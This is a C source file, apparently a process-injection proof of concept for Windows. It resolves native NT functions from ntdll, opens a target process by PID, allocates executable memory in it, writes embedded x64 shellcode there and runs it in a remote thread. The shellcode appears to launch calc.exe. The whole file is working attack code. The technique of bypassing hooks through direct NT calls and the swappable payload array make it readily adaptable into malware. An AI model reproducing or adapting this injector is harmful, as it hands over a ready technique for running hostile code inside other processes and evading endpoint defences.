#include <windows.h>
#include <stdio.h>
#include "NTStub.h"
#include <assert.h>

#define log(msg, ...)      printf(msg "\n", ##__VA_ARGS__)
#define log_info(msg, ...) log("[i] " msg, ##__VA_ARGS__)
#define log_err(msg, ...)  log("[-] " msg, ##__VA_ARGS__)
#define log_ok(msg, ...)   log("[+] " msg, ##__VA_ARGS__)

unsigned char g_shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main(int argc, char **argv) {
	if (argc < 2) {
		log_err("Usage: %s <PID>", argv[0]);
		return -1;
	}

	DWORD pid = atoi(argv[1]);
	log_info("Opening process with pid %ld", pid);

	HANDLE process = NULL;
	HANDLE thread = NULL;
	LPVOID buffer = NULL;

	NtOpenProcess nt_open_process = NULL;
	NtClose nt_close = NULL;
	NtCreateThreadEx nt_create_thread_ex = NULL;
	NtAllocateVirtualMemory nt_allocate_virtual_memory = NULL;
	NtWriteVirtualMemory nt_write_virtual_memory = NULL;
	NtWaitForSingleObject nt_wait_for_single_object = NULL;

	// Grab NT API functions
	{ 
		HMODULE ntdll_module = GetModuleHandleA("Ntdll");
		if (ntdll_module == NULL) {
			log_err("Failed get Ntdll.dll: %ld", GetLastError());
			goto cleanup;
		}

		nt_open_process = (NtOpenProcess)GetProcAddress(ntdll_module, "NtOpenProcess");
		if (nt_open_process == NULL) {
			log_err("Failed get NtOpenProcess: %ld", GetLastError());
			goto cleanup;
		}

		nt_close = (NtClose)GetProcAddress(ntdll_module, "NtClose");
		if (nt_close == NULL) {
			log_err("Failed get NtClose: %ld", GetLastError());
			goto cleanup;
		}

		nt_create_thread_ex = (NtCreateThreadEx)GetProcAddress(ntdll_module, "NtCreateThreadEx");
		if (nt_create_thread_ex == NULL) {
			log_err("Failed get NtCreateThreadEx: %ld", GetLastError());
			goto cleanup;
		}

		nt_allocate_virtual_memory = (NtAllocateVirtualMemory)GetProcAddress(ntdll_module, "NtAllocateVirtualMemory");
		if (nt_allocate_virtual_memory == NULL) {
			log_err("Failed get NtAllocateVirtualMemory: %ld", GetLastError());
			goto cleanup;
		}

		nt_write_virtual_memory = (NtWriteVirtualMemory)GetProcAddress(ntdll_module, "NtWriteVirtualMemory");
		if (nt_write_virtual_memory == NULL) {
			log_err("Failed get NtWriteVirtualMemory: %ld", GetLastError());
			goto cleanup;
		}
		
		nt_wait_for_single_object = (NtWaitForSingleObject)GetProcAddress(ntdll_module, "NtWaitForSingleObject");
		if (nt_wait_for_single_object == NULL) {
			log_err("Failed get NtWaitForSingleObject: %ld", GetLastError());
			goto cleanup;
		}
	}
	
	// OpenProcess()
	{ 
		OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
		CLIENT_ID CID = { (HANDLE)pid, NULL };

		NTSTATUS status = nt_open_process(&process, PROCESS_ALL_ACCESS, &OA, &CID);
		if (status != STATUS_SUCCESS) {
			log_err("Failed to open process: 0x%lx", status);
			goto cleanup;
		}
		assert(process != NULL);
	}
	log_ok("Successfully opened process handle");

	// VirtualAllocEx
	{
		size_t region_size = sizeof(g_shellcode);
		NTSTATUS status = nt_allocate_virtual_memory(process, &buffer, 0, &region_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (status != STATUS_SUCCESS) {
			log_err("Failed to allocate %lld bytes in process: 0x%lx", region_size, status);
			goto cleanup;
		}
	}
	log_ok("Allocated %lld bytes in process", sizeof(g_shellcode));

	// WriteProcessMemory
	{
		NTSTATUS status = nt_write_virtual_memory(process, buffer, g_shellcode, sizeof(g_shellcode), NULL);
		if (status != STATUS_SUCCESS) {
			log_err("Failed to write bytes: 0x%lx", status);
			goto cleanup;
		}
	}
	log_ok("Wrote shellcode to allocated buffer");

	// CreateRemoteThreadEx
	{
		OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
		PS_ATTRIBUTE_LIST AL = { 0 };

		NTSTATUS status = nt_create_thread_ex(&thread, THREAD_ALL_ACCESS, &OA, process, buffer, NULL, FALSE, NULL, NULL, NULL, NULL);
		if (status != STATUS_SUCCESS) {
			log_err("Failed create remote thread: 0x%lx", status);
			goto cleanup;
		}
		assert(process != NULL);
	}
	log_ok("Successfully created thread with shellcode");

	log_info("Waiting for thread to finish...");
	nt_wait_for_single_object(thread, FALSE, NULL);
	log_info("Thread finished");

cleanup:
	if (thread != NULL) {
		log_info("Closing thread handle");
		nt_close(thread);
	}
	if (process != NULL) {
		log_info("Closing process handle");
		nt_close(process);
	}

	return 0;
}